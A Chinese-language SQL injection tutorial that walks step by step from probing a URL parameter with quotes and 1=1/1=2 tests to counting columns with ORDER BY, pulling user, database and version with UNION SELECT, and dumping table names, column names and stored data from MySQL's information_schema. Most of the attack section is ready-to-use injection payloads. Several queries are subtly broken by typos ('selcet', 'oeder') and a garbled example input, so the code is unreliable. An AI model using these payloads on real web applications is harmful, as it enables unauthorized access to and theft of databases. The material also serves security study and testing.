1.单引号法:直接在网址后面加一个单引号,如果页面不能正常显示,浏览器返回一些异常信息,则说明该链接可能存在sql注入漏洞
2.1=1和1=2:在网址后面的get传参中加上 and 1=1 ,显示正常,把1=1替换为1=2,显示异常,说明网页存在sql注入。
1.数字型注入:注入变量的值不需要用引号引起来,如
select * from user where id=$id;
2.字符型注入:注入变量会用引号包裹起来,如`
select * from user where username='$username';`
注入时注意要闭合引号。
3.搜索型注入:
select * from user where username like '%$pass%';
把sql语句构造为
select * from user where username like '%$pass%' union select语句 '%%';
即传输的变量为 pass%’ union select语句 '% 形成闭合。
通过抓包等方式判断注入点的提交方式是get,post,还是cookie。
使用order by 语句可以查询出数据库有多少个字段,可以通过不断的尝试来确定数据库字段数量,如在输入oeder by 9时,页面报错而输入order by 8时页面显示正常,即数据库中有8个字段。
如查询语句为:select * from user where id='$id';
可以构造下面的输入:(id = ') ' order by 3 '+--+
即查询语句为:select * from user where id='' order by 3 '--'
使用 union select 语句来查询当前使用用户 user() , 数据库database() ,数据库版本 version() ,服务器操作系统的@@version_compile_os等信息
version版本十分重要,如果版本在5.0以上,就可以使用information_schema库来轻易的查询想要的信息
构造语句:
select * from user where id='' union select user(),database(),version()+--+;
5.0 版本以上的mysql数据库自带的information_schema库中存储着数据库中所有的表名和列明信息。
下面我们就应该根据第五步查询的当前数据库的结果(如数据库为database_1)名下所有的表名tables的信息。
Information_schema.tables
:记录着数据库中所有表名信息的表。
构造的查询语句如下:
Select * from user where id='' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database_1;--
查询的结果为:第五步查询的当前数据库中的表名信息。
Information_schema.columns:
记录着数据库中所有的表中的列名信息;
下面就应该根据上面查询得到的表名信息(如表为table_1)查询他的列名信息,构造语句如下:
Select * from user where id='' union selcet 1,group_concat(column_name),3 from information_schema.columns where table_name=table_1;--
查询出列名后,就可以直接通过联合查询查出表中存储的信息(如查出的列名为column_1,column_2)构造语句
Selcet * from user where id='' union select 1,column_1,column_2 from tables;--
即可查询出指定数据库指定表的存储数据